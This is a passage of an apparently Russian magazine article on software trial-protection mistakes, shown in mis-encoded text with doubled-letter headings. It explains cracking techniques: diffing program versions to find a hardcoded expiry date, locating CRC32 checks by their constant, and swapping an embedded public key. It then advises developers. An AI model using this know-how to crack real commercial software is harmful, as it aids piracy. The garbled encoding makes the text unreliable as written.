òå, òî åñòü ê êàêèì èìåííî ïîòàéíûì
óãîëêàì îíà îáðàùàåòñÿ.

Èñõîä ñðàæåíèÿ ñ çàùèòîé ìîæíî
ïðåäóãàäàòü çàðàíåå, íî ìîæíî ëè ïðåä-
îòâðàòèòü åãî? Ïåðâîå (è ñàìîå ãëóïîå),
÷òî ìîæíî ïðåäëîæèòü, — ãàäèòü â ðååñ-
òðå è ôàéëîâîé ñèñòåìå, îñòàâëÿÿ öåëóþ

1

Ìîíèòîð ðååñòðà ïîçâîëÿåò îòñëåæèâàòü ñêðûòûå çíàêè, ê êîòîðûì îáðàùàåòñÿ çàùè-
ùåííàÿ ïðîãðàììà

Íåñìîòðÿ íà ðàçíîîáðàçèå òðþêîâ è ïðèåìîâ, èñïîëüçóåìûõ
ñîçäàòåëÿìè çàùèò, áîëüøèíñòâî ïðîãðàìì ëîìàþòñÿ ïî ñòàí-
äàðòíîìó íàáîðó øàáëîíîâ. Îøèáêè ðàçðàáîò÷èêîâ óäðó÷àþ-
ùå îäíîîáðàçíû — íèêàêîé òåáå òÿãè ê òâîð÷åñòâó, íèêàêîãî
ìîðàëüíîãî óäîâëåòâîðåíèÿ îò âçëîìà. È âìåñòî èíòåëëåêòó-
àëüíîé èãðû è ñìåðòåëüíîãî ïîåäèíêà ñ çàùèòîé âçëîìùèêàì
ïðèõîäèòñÿ êîâûðÿòüñÿ â ÷åì-òî î÷åíü íåàïïåòèòíîì, ïîõîæåì

íà ÷åé-òî íàïîëîâèíó ðàçëîæèâøèéñÿ òðóï — îñòàíêè ìåðòâî-
ðîæäåííûõ èäåé, íàäåðãàííûõ ïðîãðàììèñòàìè èç äðåâíèõ ìà-
íóàëîâ, äàâíî íåàêòóàëüíûõ.

íåêîòîðûå îîøèáêè ìîæíî îòíåñòè ê ðàçðÿäó êîíöåïòóàëü-
íûõ, «áëàãîäàðÿ» êîòîðûì ïðîãðàììó âçëîìàåò íå òîëüêî ìà-
òåðûé õàêåð, íî è íà÷èíàþùèé êðýêåð èëè äàæå ïðîäâèíóòûé
ïîëüçîâàòåëü. Íå äàâàé èì øàíñà!
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íàâîçíóþ êó÷ó «ñëåäîâ», ðàçãðåáàòü êî-
òîðóþ ïîëüçîâàòåëü çàïàðèòñÿ. Òîëüêî
íåêðàñèâî ýòî. Êàêîìó ïîëüçîâàòåëþ
ïîíðàâèòñÿ òàêàÿ ïðîãðàììà? Ìîòèâàöèÿ
÷åñòíîé ðåãèñòðàöèè ïàäàåò íèæå àáñî-
ëþòíîãî íóëÿ.

Ãîðàçäî ýëåãàíòíåå áóäåò îñòàâèòü
åäâà ðàçëè÷èìûé è ñîâåðøåííî íåî÷å-
âèäíûé ñëåä, ê ïðèìåðó, èçìåíèâ äàòó
ñîçäàíèÿ ïàïêè %windows%, ïîìåñòèâ â
ïîëå äåñÿòûõ äîëåé ñåêóíä ñâîå «ìàãè÷å-
ñêîå» ÷èñëî. Äà, êîíå÷íî, ìîíèòîðû óñ-
ïåøíî îòñëåäÿò ýòó íåõèòðóþ ìàõèíàöèþ,
íî, ó÷èòûâàÿ ðàçìåð èõ ëîãîâ, ïîëüçîâà-
òåëü ñ âûñîêîé ñòåïåíüþ âåðîÿòíîñòè
ïðîñòî íå îáðàòèò âíèìàíèÿ íà ýòó ìå-
ëî÷ü (ïðàâäà, âîçíèêàåò ïîòåíöèàëüíûé
êîíôëèêò ñ äðóãèìè çàùèòàìè).

Âîò åùå îäèí òðþê. Ñîçäàåøü ôàéë,
äåëàåøü seek íà âåñü ðàçìåð ñâîáîäíîãî
ïðîñòðàíñòâà, êàê áû «âòÿãèâàÿ» åãî
âíóòðü ñåáÿ, çàòåì ñêàíèðóåøü ïîëó÷åí-
íûé ôàéë íà ïðåäìåò íàëè÷èÿ «ñâîåãî»
ñîäåðæèìîãî. Åñòü òàêîé õèíò: ïðè óäàëå-
íèè ôàéëîâ ñ äèñêà îíè ïðîäîëæàþò
«äîãíèâàòü» â ñâîáîäíûõ ñåêòîðàõ äî-
âîëüíî äëèòåëüíîå âðåìÿ, ïîýòîìó çàùè-
òà ìîæåò ëåãêî è ïðîçðà÷íî îáíàðóæèòü,
áûëà ëè îíà óñòàíîâëåíà íà äàííûé äèñê.
Äëÿ ýòîãî ñîâåðøåííî íå îáÿçàòåëüíî
ïðèáåãàòü ê ñêàíèðîâàíèþ íà óðîâíå ñåê-
òîðîâ, äîñòàòî÷íî ïðîñòî ñäåëàòü seek —
ïðè âûäåëåíèè êëàñòåðîâ îïåðàöèîííàÿ
ñèñòåìà íå î÷èùàåò èõ, ÷òî ñòàíîâèòñÿ
îãðîìíîé äûðîé â áåçîïàñíîñòè. Êîíå÷íî,
êðýêåð áåç òðóäà îáíàðóæèò è îáîéäåò òà-
êóþ ïðîâåðêó, íî ïðîñòîãî ïîëüçîâàòåëÿ
îíà ïîñòàâèò â òóïèê. Ðàçâå ÷òî îí íå âîñ-
ïîëüçóåòñÿ ñïåöèàëüíûìè óòèëèòàìè äëÿ
ôèçè÷åñêîãî óäàëåíèÿ ôàéëîâ, çàòèðàþ-
ùèõ èõ ñîäåðæèìîå. Íî óòèëèò äëÿ ôèçè-
÷åñêîãî óäàëåíèÿ âåòîê ðååñòðà íåò...

Ñàìîå íàäåæíîå — «çàøèòü» äàòó
îãðàíè÷åíèÿ trial’íîãî ñðîêà â ñàìó ïðî-
ãðàììó åùå íà ñòàäèè êîìïèëÿöèè. Ïî-
ñêîëüêó ïðîãðàììû íå âûêëàäûâàþòñÿ íà
ñåðâåð êàæäûé äåíü, ÷åì ïîçäíåå ïîëü-
çîâàòåëü ñêà÷àåò ïðîãðàììó, òåì êîðî÷å

äëèòåëüíîñòü äåìîíñòðàöèîííîãî ïåðèî-
äà. Òàê ÷òî ëó÷øå óäëèíèòü èñïûòàòåëü-
íûé ñðîê äî 60-òè äíåé è îáíîâëÿòü ïðî-
ãðàììó íà ñåðâåðå íå ðåæå ðàçà â ìåñÿö.

Êàê áîðîòüñÿ ñ ïîâòîðíûìè ñêà÷è-
âàíèÿìè? Âî-ïåðâûõ, åñëè ïðîãðàììà
òÿæåëàÿ, ãðîìîçäêàÿ è áîëüøàÿ, äàëåêî
íå êàæäîìó ïîëüçîâàòåëþ áóäåò â ðà-
äîñòü êàæäûé ìåñÿö ïåðåêà÷èâàòü ìåãà-
áàéòû äàííûõ ïî ñâîåìó êàíàëó. Âî-âòî-
ðûõ, ìîæíî îòäàâàòü ïðîãðàììó òîëüêî
ïîñëå ïðåäâàðèòåëüíîé ðåãèñòðàöèè, è
òîãäà áåäíîìó ïîëüçîâàòåëþ ïðèäåòñÿ
êàæäûé ðàç âûäóìûâàòü ñåáå ðàçíûå
àäðåñà, ìåíÿòü ÿùèêè è ò.ä. Âñå ýòî
ñèëüíî íàïðÿãàåò è ñêëîíÿåò ïîëüçîâà-
òåëÿ ê ðåãèñòðàöèè.

Êàê âàðèàíò, ìîæíî ñäåëàòü òàê, ÷òî-
áû ïðè ïåðâîì çàïóñêå èíñòàëëÿòîð (íå ñî-
äåðæàùèé â ñåáå îñíîâíîãî òåëà ïðîãðàì-
ìû) ñîáèðàë èíôîðìàöèþ î êîíôèãóðàöèè
è îòïðàâëÿë åå ñåðâåðó. Ñåðâåð ñâåðÿë áû
åå ñî ñâîåé áàçîé è â çàâèñèìîñòè îò ýòî-
ãî ëèáî îòäàâàë áû ïðîãðàììó, ëèáî íå îò-
äàâàë. Ñîâåðøåííî íå îáÿçàòåëüíî ïèñàòü
«ñåòåâîé èíñòàëëÿòîð» — ëó÷øå ïðîñòî
äàòü ññûëêó íà âðåìåííûé ëèíê, àâòîìàòè-
÷åñêè óäàëÿþùèéñÿ ÷åðåç íåñêîëüêî äíåé,
÷òî ðåàëèçóåòñÿ î÷åíü ïðîñòî è ðåøàåò
ïðîáëåìû «äîêà÷êè». Âçëîìàòü òàêóþ çà-
ùèòó ïîëüçîâàòåëþ (äàæå î÷åíü è î÷åíü
ïðîäâèíóòîìó) áóäåò óæå íå ïîä ñèëó, äà è
êðýêåðîâ îíà íàïðÿæåò èçðÿäíî.
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äåñÿòü «íå»
ÌÅËÊÈÅ ÏÐÎÌÀÕÈ, ÂÅÄÓÙÈÅ 
Ê ÑÅÐÜÅÇÍÛÌ ÏÎÑËÅÄÑÒÂÈßÌ.

ïàññèâíûå îòëàä÷èêè
Êàòåãîðè÷åñêè íåäîïóñòèìî áî-
ðîòüñÿ ñ ïàññèâíûìè îòëàä÷è-
êàìè. Ìíîãèå ñèñòåìùèêè ïî-
ñòîÿííî äåðæàò SoftIce â ôîíå 
è ñîâñåì íå äëÿ õàêåðñêèõ öå-
ëåé. Óæå äàâíî îíè íå ëîìàþò
çàùèòû: íåò âðåìåíè, äà è ïðî-
ãðàììèðîâàíèå ïðèíîñèò ãîðàç-
äî áîëüøèå äåíüãè. Îäíàêî êîã-
äà íåîáõîäèìàÿ ïðîãðàììà ðó-
ãàåòñÿ íà SofåIce, îòêàçûâàÿñü
çàïóñêàòüñÿ, îíè âûñåäàþò íà
ÿðîñòü è, òðÿõíóâ ñòàðèíîé, ðàç-
íîñÿò çàùèòó â ïóõ è ïðàõ, ïðè-
òîì î÷åíü ÷àñòî âûêëàäûâàþò
êðýê íà âñåîáùåå îáîçðåíèå.

âèðòóàëüíûå
ìàøèíû
Íå íóæíî ïûòàòüñÿ îáíàðóæèòü
âèðòóàëüíûå ìàøèíû — âñå
ðàâíî íå ïîëó÷èòñÿ. Èõ ñëèø-
êîì ìíîãî: VM Ware, VirtualPC,
BOCHS, QEMU… Ê òîìó æå
ìíîãèå ïîëüçîâàòåëè è ñåòå-
âûå/æóðíàëüíûå îáîçðåâàòåëè,
íå æåëàÿ çàìóñîðèâàòü ñâîþ
îñíîâíóþ ñèñòåìó, «îáêàòûâà-
þò» íîâûå ïðîãðàììû èìåííî
ïîä âèðòóàëüíûìè ìàøèíàìè. 
È åñëè òå îòêàçûâàþòñÿ çàïóñêà-
òüñÿ òàì, âûáîð îòäàåòñÿ â ïîëü-
çó êîíêóðåíòíîé ïðîãðàììû.

ïðèâÿçêà 
ê îáîðóäîâàíèþ
Ïðèâÿçûâàòüñÿ íè ê ÷åìó íåëü-
çÿ. Ïîëüçîâàòåëÿì î÷åíü íå íðà-
âèòñÿ, êîãäà ïðîãðàììû ïðèâÿ-
çûâàþòñÿ ê îáîðóäîâàíèþ (à êàê
æå àïãðåéä?). Ê òîìó æå ïîäîá-
íàÿ ïðèâÿçêà î÷åíü ëåãêî «îòëà-
ìûâàåòñÿ». Åñëè è íå îòëàìûâà-
åòñÿ, òî çàïóñêàåòñÿ ïîä âèðòó-
àëüíîé ìàøèíîé. Ê íîñèòåëÿì
èíôîðìàöèè è ýëåêòðîííûì
êëþ÷àì ïðèâÿçûâàòüñÿ òîæå
íåëüçÿ — ÷åñòíûì ïîëüçîâàòå-
ëÿì îäèí ãåìîððîé (è ðåâåðàíñ
â ñòîðîíó êîíêóðåíòîâ), à íå-
÷åñòíûå âñå ðàâíî ñêîïèðóþò.

âçëîì ñ îòñðî÷êîé
Íå ïîçâîëÿé âçëîìùèêó îá-
íàðóæèâàòü ÿâíûå ïðèçíàêè òî-

BOCHS — îäíà èç ìíîãèõ 
âèðòóàëüíûõ ìàøèí
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Òèïè÷íàÿ ðåàêöèÿ ïðîãðàììû íà îêîí÷à-
íèå èñïûòàòåëüíîãî ñðîêà
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êêîîããääàà êêððèèïïòòîîããððààôôèèÿÿ 
ááååññïïîîëëååççííàà
Â ïîñëåäíåå âðåìÿ ðàñïðîñòðàíèëàñü ìî-
äà íà íåñèììåòðè÷íóþ êðèïòîãðàôèþ, öè-
ôðîâûå ïîäïèñè è ïðî÷èå ñåðòèôèêàòû.
Èìåííî òàêèì îáðàçîì çàùèùåí The Bat.
Ñîçäàòü ãåíåðàòîð êëþ÷åé, ðàñïîëàãàÿ
òîëüêî òîé èíôîðìàöèåé, êîòîðàÿ çàêëþ-
÷åíà â çàùèùåííîé ïðîãðàììå, äåéñòâè-
òåëüíî íåâîçìîæíî. Ïîòðåáóåòñÿ ñåêðåò-
íûé êëþ÷, à îí åñòü òîëüêî ó ðàçðàáîò÷è-
êà çàùèòû. ×òî äåëàòü? Àòàêîâàòü ëî-
êàëüíóþ ñåòü êîìïàíèè-ðàçðàáîò÷èêà?
Òàê âåäü ïîñàäÿò!

Õàêåðû ïîñòóïàþò ïðîùå. «Îòëàìû-
âàþò» çàùèòíûé êîä èëè ìîäèôèöèðóþò
îòêðûòûé êëþ÷, õðàíÿùèéñÿ â òåëå ïðî-
ãðàììû, çàìåíÿþò åãî ñâîèì ñîáñòâåííûì
îòêðûòûì êëþ÷îì, äëÿ êîòîðîãî ñóùåñòâó-

åò èçâåñòíûé ñåêðåòíûé êëþ÷. Êðýêè äëÿ
Bat’à ðàáîòàþò êàê ðàç òàê. Äàæå ñàìàÿ
íàâîðî÷åííàÿ êðèïòîãðàôè÷åñêàÿ ñèñòå-
ìà â îòñóòñòâèè ìåõàíèçìîâ êîíòðîëÿ öå-
ëîñòíîñòè ïðîãðàììû áåñïîëåçíà, à êîí-
òðîëü öåëîñòíîñòè ëåãêî íàéòè è îòëîìàòü.

Èñêëþ÷åíèå ñîñòàâëÿåò òîò ñëó÷àé,
êîãäà êðèïòîãðàôèÿ èñïîëüçóåòñÿ äëÿ
ðàñøèôðîâêè êðèòè÷åñêèõ ôðàãìåíòîâ
ïðîãðàììû, áåç êîòîðûõ îíà íåðàáîòî-
ñïîñîáíà. Íå ñïîñîáíàÿ ê òðóäó ïðîãðàì-
ìà íèêîìó íå íóæíà, ïîýòîìó äëÿ trial-çà-
ùèòû òàêàÿ ìåòîäèêà íå ïîäõîäèò. È åñëè
ó âçëîìùèêà èìååòñÿ õîòÿ áû îäèí-åäèí-
ñòâåííûé ðàáî÷èé ýêçåìïëÿð ïðîãðàììû
ñ âàëèäíûì êëþ÷îì, íåéòðàëèçàöèÿ çà-
ùèòû — äåëî òåõíèêè.

Íåñèììåòðè÷íóþ êðèïòîãðàôèþ ìîæ-
íî è íóæíî èñïîëüçîâàòü òîëüêî ñ òùàòåëü-

íî ïðîðàáîòàííûì ìåõàíèçìîì ïðîâåðêè
ñîáñòâåííîé öåëîñòíîñòè, ñî ìíîæåñòâîì
ïðîâåðîê â ðàçíûõ ìåñòàõ.
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Ïî÷òîâûé êëèåíò The Bat, 
çàùèùåííûé íåñèììåòðè÷íîé 
êðèïòîãðàôèåé

õõððîîííîîììååòòððààææ îîááððààòòííîîããîî 
îîòòññ÷÷ååòòàà ââððååììååííèè
Íèêîãäà íå ïîëàãàéñÿ íà ñèñòåìíîå âðå-
ìÿ — ïåðåâåñòè åãî íàçàä î÷åíü ëåãêî. Ê
òîìó æå ñóùåñòâóåò ìíîæåñòâî óòèëèò òè-
ïà TrialFreezer, êîòîðûå ïåðåõâàòûâàþò
âûçîâ API-ôóíêöèè ñåìåéñòâà GetLocalTi-
me è ïîäñîâûâàþò îòäåëüíî âçÿòîé ïðî-
ãðàììå ïîäëîæíóþ èíôîðìàöèþ, ÷òî
íàìíîãî óäîáíåå, ÷åì ðàáîòàòü ñ ïåðåâå-
äåííûì âðåìåíåì è ñìîòðåòü ïðè ýòîì íà
ñòðàäàíèÿ âñåõ ïðèëîæåíèé.

×òî ìîæåò ñäåëàòü çàùèòà? Ñáå-
ãàòü â èíòåðíåò çà àòîìíûì âðåìåíåì? À

åñëè ïîëüçîâàòåëü ïîñòàâèò áðàíäìàó-
ýð? Íàâåðíÿêà ïîñòàâèò. Âåñòè ñ÷åò÷èê
çàïóñêîâ — ïðåêðàñíàÿ èäåÿ, òîëüêî îí
î÷åíü ëåãêî îáíàðóæèâàåòñÿ ñðàâíåíèåì
äâóõ «ñîñåäíèõ» äàìïîâ.

Íàäåæíåå âñåãî ñêàíèðîâàòü äèñê íà
ïðåäìåò ïîèñêà ñàìûõ ðàçíûõ ôàéëîâ è
ñìîòðåòü íà äàòó èõ ñîçäàíèÿ, ïðè÷åì íå
òîëüêî áðàòü äàòó ñîçäàíèÿ/ïîñëåäíåé ìî-
äèôèêàöèè ñàìîãî ôàéëà, íî òàêæå èçâëå-
êàòü «øòàìï âðåìåíè» èç çàãîëîâêîâ PE-
ôàéëîâ è äèíàìè÷åñêèõ áèáëèîòåê, êîòî-
ðûå ìîæíî îáíàðóæèòü â ñâîåì àäðåñíîì
ïðîñòðàíñòâå áåç âñÿêîãî îáðàùåíèÿ ê

ôàéëîâîé ñèñòåìå. Ïîëüçîâàòåëü æå ñêà-
÷èâàåò íîâûå âåðñèè ðàçëè÷íûõ ðàçäåëÿ-
åìûõ áèáëèîòåê, à ìíîãèå àíòèâèðóñû è
äðóãèå «ñòîðîæåâûå» ïðîãðàììû óñòàíà-
âëèâàþò ìîäóëè, ïðîåöèðóåìûå íà âñå
ïðîöåññû ñðàçó. Êîíå÷íî, äàííàÿ ìåòîäè-
êà îïðåäåëåíèÿ âðåìåíè íå î÷åíü òî÷íà è
ãîäèòñÿ ëèøü äëÿ ãðóáîé îöåíêè âåðõíåé
ãðàíèöû âðåìåíè èñïîëüçîâàíèÿ. Îäíàêî,
ó÷èòûâàÿ íàëè÷èå ñëóæáû Windows Upda-
te è äîâîëüíî ÷àñòûé âûõîä íîâûõ ôèêñîâ,
òî÷íîñòü îïðåäåëåíèÿ âïëîòíóþ ïðèáëè-
æàåòñÿ ê îäíîìó-äâóì ìåñÿöàì, ÷òî äëÿ tri-
al-çàùèò âïîëíå äîñòàòî÷íî.

4

3
ññððààââííååííèèåå ððààççëëèè÷÷ííûûõõ
ââååððññèèéé îîääííîîéé èè òòîîéé ææåå
ïïððîîããððààììììûû
Ðàçðàáîò÷èê çàùèòû äîëæåí ñ÷èòàòüñÿ ñ
òåì, ÷òî ó âçëîìùèêà íàâåðíÿêà îêàæåò-
ñÿ íåñêîëüêî ðàçëè÷íûõ âåðñèé îäíîé è
òîé æå ïðîãðàììû. ×òî ýòî çíà÷èò â ïðàê-
òè÷åñêîì ïëàíå? Ñðàâíèâàÿ èõ ìåæäó ñî-
áîé, êðýêåð áûñòðî íàéäåò, ãäå õðàíèòñÿ
æåñòêî ïðîøèòàÿ äàòà èñòå÷åíèÿ èñïûòà-
òåëüíîãî ñðîêà, ñåðèéíûé íîìåð è ýòà-
ëîííûé êëþ÷ (åñëè êàæäàÿ âåðñèÿ îòïè-
ðàåòñÿ «ñâîèì» êëþ÷îì).

Âîçüìåì, ê ïðèìåðó, ïîïóëÿðíûé
òåêñòîâîé ðåäàêòîð TSE Pro. ×àñòü çàùè-
òû ðåàëèçîâàíà íà åãî ñîáñòâåííîì èí-
òåðïðåòèðóåìîì ÿçûêå, êîòîðûé ñêîìïè-
ëèðîâàí â áàéò-êîä è íå ïîääàåòñÿ äèçàñ-
ñåìáëèðîâàíèþ. Ãîòîâûõ æå äåêîìïèëÿ-
òîðîâ, óâû, íåò. Òåì íå ìåíåå, çàùèòà
ñíèìàåòñÿ çà ñ÷èòàííûå ñåêóíäû ïðî-
ñòûì ñðàâíåíèåì äâóõ âåðñèé, óñòàíî-

âëåííûõ â ðàçëè÷íîå âðåìÿ íà ðàçëè÷-
íûõ ìàøèíàõ (â äàííîì ñëó÷àå äîñòàòî÷-
íî óñòàíîâèòü ðåäàêòîð â ðàçíûå êàòàëî-
ãè, ïîñêîëüêó íèêàêèõ ïðîâåðîê íà ñêðû-
òûå çíàêè â íåì íåò).

óòèëèòà ffc.exe èèç øøòàòíîé ïïîñòàâêè WWin-
dows ïïîêàçûâàåò, ÷÷òî ââðåìÿ îîêîí÷àíèÿ
èñïûòàòåëüíîãî ññðîêà ««ïðîøèòî» ââ ôôàé-
ëàõ ee32.mac èè gg32.exe
$fc /b e32.mañ e32.mac.old

Ñðàâíåíèå ôàéëîâ e32.ma_ è 

E32.MAC.OLD

00000065: 06 05

00000066: D5 DD

00000067: C8 D4

Îáëîæèëè ñî âñåõ ñòîðîí — ñîõðàíÿòü âðå-
ìÿ ïåðâîãî çàïóñêà íà êîìïüþòåðå ïîëüçî-
âàòåëÿ íåëüçÿ (íàéäåò è óäàëèò), æåñòêî
ïðîøèâàòü åãî â òåëå ïðîãðàììû òîæå
(ñðàâíèò äâå âåðñèè è «ïåðåâåäåò» äàòó

âïåðåä â HIEW’å). ×òî æå äåëàòü? Ñêðåì-
áëèðîâàòü äàííûå è êîä! Ïîïðîñòó ãîâîðÿ,
øèôðîâàòü ðàçíûå âåðñèè ïðîãðàììû ðàç-
ëè÷íûìè êëþ÷àìè, è òîãäà ïðÿìîå ñðàâíå-
íèå íè÷åãî íå äàñò, åñëè òîëüêî, êîíå÷íî,
âçëîìùèê íå «ðàñïàêóåò» ïðîãðàììó, óäà-
ëèâ ðàñïàêîâùèê â íåáûòèå. Îäíàêî áîðü-
áà ñ ðàñïàêîâùèêàìè è ïóòè ïðîòèâîñòîÿ-
íèÿ åé — òåìà îòäåëüíîé ñòàòüè.

Ðåäàêòîð TSE Pro îòêàçûâàåòñÿ çàïóñêà-
òüñÿ, ìîòèâèðóÿ ýòî òåì, ÷òî 60-äíåâíûé
èñïûòàòåëüíûé ïåðèîä óæå èñòåê
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êêîîííññòòààííòòûû,, ããîîââîîððÿÿùùèèåå 
ññààììèè ççàà ññååááÿÿ
Êàêîé êðèïòîãðàôè÷åñêèé àëãîðèòì ëó÷øå
èñïîëüçîâàòü: «ñòàíäàðòíûé» èëè «ñàìî-
ïàëüíûé»? Áîëüøèíñòâî ðàçðàáîò÷èêîâ
ñêëîíÿþòñÿ â ïîëüçó ïåðâîãî è ýòèì çàñòàâ-
ëÿþò êðýêåðîâ áóðíî ëèêîâàòü.

Îáû÷íî çàùèòíûé ìåõàíèçì êîí-
òðîëèðóåò ñâîþ öåëîñòíîñòü ñ ïîìîùüþ
íàäåæíîãî è õîðîøî àïðîáèðîâàííîãî
CRC32. Êàê íàéòè ïðîöåäóðó ïðîâåðêè
ñðåäè äåñÿòêîâ ìåãàáàéò ïîñòîðîííåãî
êîäà? Î÷åíü ïðîñòî — ïî ñòàíäàðòíîìó
ïîëèíîìó. Òàì, ãäå åñòü CRC32, âñåãäà
ïðèñóòñòâóåò è êîíñòàíòà EDB88320h. Çà
ñ÷èòàííûå ñåêóíäû êîíòåêñòíûé ïîèñê
îáíàðóæèâàåò ñòàíäàðòíûé ïîëèíîì, à
äàëüøå ïî ïåðåêðåñòíûì ññûëêàì íå-
òðóäíî íàéòè ñàìó ïðîöåäóðó ïðîâåðêè è
êîä, âûçûâàþùèé åå.

Ñóùåñòâóåò ìíîæåñòâî ãîòîâûõ ïðî-
ãðàììíîãî îáåñïå÷åíèÿ, ðàñïîçíàþùèõ
ñòàíäàðòíûå êðèïòîãðàôè÷åñêèå àëãîðèò-
ìû. Âîò ïðèìåð òîëüêî îäíîé èç íèõ:
www.hexblog.com/2006/01/findcrypt.html — ïëàãèí
äëÿ IDA Pro, êîòîðûé ðàñïðîñòðàíÿåòñÿ â
èñõîäíûõ òåêñòàõ è, ê ñ÷àñòüþ, íà áåñïëàò-
íîé îñíîâå. 

Åñëè èñïîëüçóþòñÿ ñòàíäàðòíûå àëãîðèò-
ìû, íåîáõîäèìî òùàòåëüíî ñêðûòü âñå ëåã-
êî óçíàâàåìûå ïîëèíîìû è ïðåäâû÷èñëåí-
íûå òàáëèöû, ïî êîòîðûì îíè ìîãóò áûòü
ëåãêî ëîêàëèçîâàíû â òåëå ïðîãðàììû.

èèççááûûòòîî÷÷ííààÿÿ ññëëîîææííîîññòòüü,, 
îîááííààððóóææèèââààååììààÿÿ ââèèççóóààëëüüííîî
Ïðîöåäóðà ïðîâåðêè ñåðèéíîãî íîìå-
ðà/êëþ÷à íè â êîåì ñëó÷àå íå äîëæíà
áûòü çàïóòàííîé èëè ÷ðåçìåðíî ñëîæ-
íîé, èíà÷å îíà áóäåò ñóùåñòâåííî îò-
ëè÷àòüñÿ îò âñåõ îñòàëüíûõ (îáû÷íûõ)
ïðîöåäóð è îïûòíûé êðýêåð ðàñïîçíà-
åò åå áàíàëüíûì «âèçóàëüíûì» ïðîñ-
ìîòðîì äèçàññåìáëåðíîãî ëèñòèíãà
ïðîãðàììû.

Ïðîñòî èùåì êîä, âíåøíå îòëè÷àþ-
ùèéñÿ îò âñåãî îñòàëüíîãî. Ëó÷øå âñåãî,
åñëè ýòîò êîä äîëãî è íóäíî âû÷èñëÿë
÷òî-òî. Â íîðìàëüíîé ïðîãðàììå ïðàêòè-
÷åñêè íå âñòðå÷àåòñÿ ëèíåéíûõ ôðàãìåí-

òîâ òàêîãî êîäà, íî ïðè ñîçäàíèè çàùèò
âñå «ïåðåñòðàõîâûâàþòñÿ» è ïèøóò
«î÷åíü ñëîæíûå» ñâåðòêè. Âîò ïî òàêîé
«íàâîðî÷åííîñòè» òû ëåãêî íàõîäèøü
èõ… ãëàçàìè. Ðàçóìååòñÿ, ìîæåò íå ñðà-
áîòàòü äëÿ î÷åíü ýêçîòè÷åñêîãî êîìïèëÿ-
òîðà, è òîãäà ïðèäåòñÿ ïîèñêàòü, ãäå ïðî-
ñÿò ââåñòè êîä/ðåãèñòðàöèþ èëè ïðåä-
óïðåæäàþò î âçëîìàííîì.

Êîììåíòàðèè, êàê ãîâîðèòñÿ, èç-
ëèøíè. Ãîñïîäà ïðîãðàììèñòû! Åñëè õî-
òèòå çàùèòèòüñÿ, íå ïèøèòå ñëèøêîì «íà-
âîðî÷åííûõ» ïðîöåäóð. Õàêåð âñå ðàâíî
ðàñêîëåò èõ. Íó è ïóñòü ôóíêöèÿ ðàñòÿíåò-
ñÿ õîòü íà òûñÿ÷ó ñòðîê — áóäåò ëåã÷å ëî-
êàëèçîâàòü åå.

Ïëàãèí ê IDA Pro, 
ðàñïîçíàþùèé ñòàíäàðòíûå 
êðèïòîãðàôè÷åñêèå àëãîðèòìû

ãî, ÷òî ïðîãðàììà åùå íå âçëî-
ìàíà. Âûâîäè ðóãàòåëüñòâî î
âçëîìå íå ñðàçó, à ñïóñòÿ íåêî-
òîðîå âðåìÿ, ÷åðåç íåñêîëüêî
äíåé). Èëè õîòÿ áû èñïîëüçóé
«îòëîæåííûé» âûçîâ «ðóãà-
òåëüíûõ» ïðîöåäóð, ïîñûëàÿ
ñêðûòîìó îêíó W ñîîáùåíèå
òèïà «Íàñ âçëîìàëè». Ïóñòü
îêíî W ïîñòàâèò åãî â î÷åðåäü,
îáðàáàòûâàåìóþ âìåñòå ñ äðó-
ãèìè «íîðìàëüíûìè» ñîîáùå-
íèÿìè, è òîãäà ïðÿìàÿ òðàññè-
ðîâêà íå ïðèâåäåò íè ê ÷åìó, à
êðýêåð óòîíåò â êîäå.

ïðåçóìïöèÿ
íåâèíîâíîñòè
Îáíàðóæèâ âçëîì, íå ïûòàéñÿ
«ìñòèòü» ïîëüçîâàòåëþ íåñòà-
áèëüíîé ðàáîòîé. Äàëåêî íå
êàæäûé ïîòåíöèàëüíûé êëèåíò
äîãàäàåòñÿ, ÷òî ïðè÷èíà ñáîåâ
êðîåòñÿ â ïëîõîì êðýêå, à íå â
ñàìîé ïðîãðàììå. Ñòîëêíóâ-
øèñü ñ ïðîáëåìàìè, îí íå ïî-
áåæèò ðåãèñòðèðîâàòüñÿ, à ïðî-
ñòî óñòàíîâèò àëüòåðíàòèâíóþ
ïðîãðàììó.

íåäîêóìåíòèðîâàí-
íûå âîçìîæíîñòè
Íå èñïîëüçóé íåäîêóìåíòèðî-
âàííûå âîçìîæíîñòè. Ýòî íå
çàòðóäíÿåò âçëîì (êðýêåðû
çíàþò âñå è îáî âñåì), çàòî ðà-
áîòîñïîñîáíîñòü çàùèùåííîé
ïðîãðàììû îò ýòîãî ñèëüíî
ñòðàäàåò è Windows ìîæåò ïðî-
ñòî îòêàçàòü ïðè óñòàíîâêå
î÷åðåäíîãî ïàêåòà îáíîâëåíèé
èëè ïðè çàïóñêå ïîä ñïåöèôè÷-
íîé âåðñèåé. Òàêæå íå çàùè-
ùàé ïðîãðàììó ñ ïîìîùüþ
äðàéâåðîâ. Âî-ïåðâûõ, áåç
ìíîãîëåòíåãî îïûòà î÷åíü
ñëîæíî íàïèñàòü ñòàáèëüíî ðà-
áîòàþùèé äðàéâåð — òàêîé,
÷òîáû íå çàâåøèâàë ñèñòåìó è
íå ñîçäàâàë íîâûå äûðû â ñè-
ñòåìå áåçîïàñíîñòè. Ê òîìó æå
äðàéâåðû, â ñèëó èõ êðîøå÷íî-
ãî ðàçìåðà, î÷åíü ïðîñòî îòëî-
ìàòü. Êîä, íàïèñàííûé íà Visu-
al Basic’å, ëîìàåòñÿ íå â ïðè-
ìåð ñëîæíåå.

ãîòîâûå ðåøåíèÿ
Íå èñïîëüçóé ãîòîâûõ çàùèò-
íûõ ïàêåòîâ (ïðîòåêòîðîâ, óïà-
êîâùèêîâ). Âñå ãîòîâûå ðåøå-
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Ãîëóáîé ýêðàí ñìåðòè, 
âûçâàííûé îøèáêîé â 
äðàéâåðå çàùèòû
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ääååòòååððììèèííèèððîîââààííííààÿÿ 
ëëîîããèèêêàà
Ðåäêàÿ ïðîãðàììà ëîìàåòñÿ â îäèí ïðè-
ñåñò, è âçëîìùèêó äëÿ ïðåîäîëåíèÿ çà-
ùèòû ïðèõîäèòñÿ ïðåäïðèíèìàòü ñåðèþ
ïîñëåäîâàòåëüíûõ íàñòóïëåíèé, ðîêèðî-
âîê è îòñòóïëåíèé, ïëàíîìåðíî ïðîäâè-
ãàþùèõ åãî âãëóáü, âñå áëèæå è áëèæå ê
ñåðäöó çàùèòû. Ïðè ýòîì ñòàâÿòñÿ òî÷êè
îñòàíîâà, êàðòîãðàôèðóåòñÿ ìàðøðóò
òðàññèðîâêè, ñ êàæäûì ïðîãîíîì âçëîì-
